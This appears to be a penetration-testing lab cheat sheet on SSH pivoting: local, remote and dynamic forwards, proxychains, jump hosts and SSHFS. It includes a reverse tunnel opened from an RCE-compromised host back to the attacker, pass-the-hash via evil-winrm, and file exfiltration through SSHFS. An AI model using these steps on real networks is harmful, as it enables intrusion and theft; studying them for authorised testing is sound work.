SSH is the first tool to reach for on any Linux pivot because it’s installed, authenticated, encrypted, and supports all three tunnel modes in one binary. Three flags do everything: -L, -R, -D.

-L — Local Port Forward

Attacker exposes a local port that, when connected to, is routed through pivot to the target.

Attacker:LocalPort  --ssh-->  Pivot  -->  Target:TargetPort
# My localhost:8080 → pivot → 10.10.11.5:80
ssh -L 8080:10.10.11.5:80 user@pivot
 
# curl localhost:8080 == request from pivot to 10.10.11.5:80
curl http://localhost:8080

Multiple -L in one command

ssh -L 8080:10.10.11.5:80 -L 3389:10.10.11.6:3389 -L 445:10.10.11.7:445 user@pivot

Bind to all interfaces (share tunnel with others)

ssh -L 0.0.0.0:8080:10.10.11.5:80 user@pivot
# Teammates on same LAN can now hit your-ip:8080 to reach the target
# Requires GatewayPorts yes on sshd (or -g client flag)

No-shell background tunnel

ssh -fNL 8080:10.10.11.5:80 user@pivot
# -f: fork into background
# -N: no remote command

-R — Remote Port Forward

Pivot (the SSH server you’re connecting to) exposes a port that, when connected to, is routed back through SSH to the attacker’s side.

Pivot:RemotePort  --ssh-->  Attacker  -->  Attacker:LocalPort
# Pivot's 0.0.0.0:4444 → my attacker:4444 (local Metasploit handler)
ssh -R 4444:localhost:4444 user@pivot

Perfect for reverse shell handlers when you’re behind NAT:

Compromised server (can't reach me directly) →
  Pivot (can reach both) → my handler

ssh -R 4444:localhost:4444 user@pivot
# Then: compromised server connects to pivot:4444, reaches my :4444

Expose attacker service to pivot network

ssh -R 8080:localhost:8080 user@pivot
# Attacker's python3 -m http.server 8080 becomes available on pivot:8080
# Victims inside pivot network can download from there

Allow remote forward to bind externally

sshd default allows -R only to bind on 127.0.0.1. To expose to the broader network:

# On pivot's /etc/ssh/sshd_config:
GatewayPorts clientspecified

Then from attacker:

ssh -R 0.0.0.0:8080:localhost:8080 user@pivot

-D — Dynamic SOCKS5 Proxy

The attacker runs a local SOCKS5 proxy. Any traffic sent to it is forwarded via SSH to the pivot, which makes outbound connections on behalf of the client.

ssh -D 1080 user@pivot
# Now localhost:1080 is a SOCKS5 proxy

Use with proxychains:

# /etc/proxychains.conf
[ProxyList]
socks5  127.0.0.1 1080
proxychains nmap -sT -Pn -n 10.10.11.0/24 -p 445,3389
proxychains curl http://10.10.11.5
proxychains evil-winrm -i 10.10.11.5 -u admin -H <NThash>

SOCKS5 with DNS resolution via pivot

# proxychains4 supports proxy_dns — resolves hostnames over SOCKS, not locally
# Edit /etc/proxychains.conf:
proxy_dns

Otherwise your tool resolves target hostnames against your attacker’s local DNS — which doesn’t know internal names.

Combining -L / -R / -D

Mix freely:

ssh -D 1080 -L 3389:10.10.11.5:3389 -R 4444:localhost:4444 user@pivot

In one SSH session:

  • SOCKS5 on your localhost:1080 → any internal host
  • Localhost:3389 → specific RDP target
  • Pivot:4444 → reverse handler on your box

Keep-Alive and Robustness

Long tunnels die silently without keepalives. Add to ~/.ssh/config:

Host pivot
  HostName 10.10.10.5
  User htb-student
  ServerAliveInterval 30
  ServerAliveCountMax 3
  ExitOnForwardFailure yes
  TCPKeepAlive yes

Then just:

ssh -D 1080 pivot

For critical tunnels, use autossh:

autossh -M 0 -N -D 1080 user@pivot
# Automatically reconnects if the tunnel drops

Jump Hosts (-J) — Multi-Hop SSH

When you need to SSH through a bastion:

ssh -J user1@bastion user2@target
# Equivalent to SSH-ing bastion and then SSH-ing target through it
 
# Multiple hops
ssh -J user1@host1,user2@host2 user3@final

Combine with tunnels:

ssh -J user1@bastion -D 1080 user2@target
# SOCKS endpoint created from your box, routed through bastion then target

SSHFS — Mount a Remote Filesystem

sudo apt install sshfs
sshfs user@pivot:/home/user /mnt/pivot
# /mnt/pivot/ now mirrors the pivot's home directory
# Useful for exfil / dropping tools without scp loops
fusermount -u /mnt/pivot

SSH Agent Forwarding (Dangerous)

ssh -A user@pivot
# Forwards your SSH agent — pivot can use your SSH keys to authenticate onward

Security note: anyone with root on pivot can use your agent socket to log in as you anywhere your keys work. Avoid on untrusted pivots. ProxyJump (-J) is safer — keys stay local.

Reverse Shell Combined with SSH Tunnel

Classic pattern — compromise a web server with limited egress, SSH back to your box:

# On target (reached via RCE)
ssh -fNR 1080 kali@<attacker-ip>
# -R 1080 with no ":" means dynamic SOCKS back to attacker
 
# Attacker now has SOCKS5 on 127.0.0.1:1080, routing via the compromised target

Equivalent to -D but initiated from the pivot — useful when attacker can’t ssh into pivot but pivot can ssh out.

Common Pitfalls

  • “channel 3: open failed: administratively prohibited” — sshd has AllowTcpForwarding no. Can’t fix without root; use a different pivot tool (Chisel).
  • “bind: Cannot assign requested address” — local port already in use or binding to interface you don’t own.
  • Localhost-only forward — by default -L 1080:10.10.11.5:80 binds to 127.0.0.1. Add *: or 0.0.0.0: prefix to expose.
  • SOCKS5 DNS — many tools resolve DNS before dialing the SOCKS proxy. proxyresolv or proxychains4 with proxy_dns solves it.
  • ControlMaster conflicts — if you have SSH multiplexing enabled, forward flags may apply to an existing session that doesn’t have them. Add -o ControlPath=none to force a fresh connection.

Verifying a Tunnel Works

# Is SOCKS endpoint listening?
ss -tnlp | grep 1080
 
# Does connectivity work through it?
proxychains -v curl -s https://ifconfig.me
# Output should show "ifconfig.me" via the proxy, response IP should be the pivot's egress IP
 
# Nmap scan to confirm you reach the target
proxychains nmap -sT -Pn -n -p445 10.10.11.5

If step 3 fails but step 2 works → firewall between pivot and target, not a tunnel problem.

Attack Pattern Summary

Found creds / RCE on pivot
  → ssh user@pivot works?
    yes → ssh -fND 1080 user@pivot → proxychains tools
    no, but pivot can reach me → ssh -fNR 1080 kali@me (from pivot)
  → Internal nmap / impacket / evil-winrm all via proxychains
  → When you root a deeper pivot, repeat from the new vantage point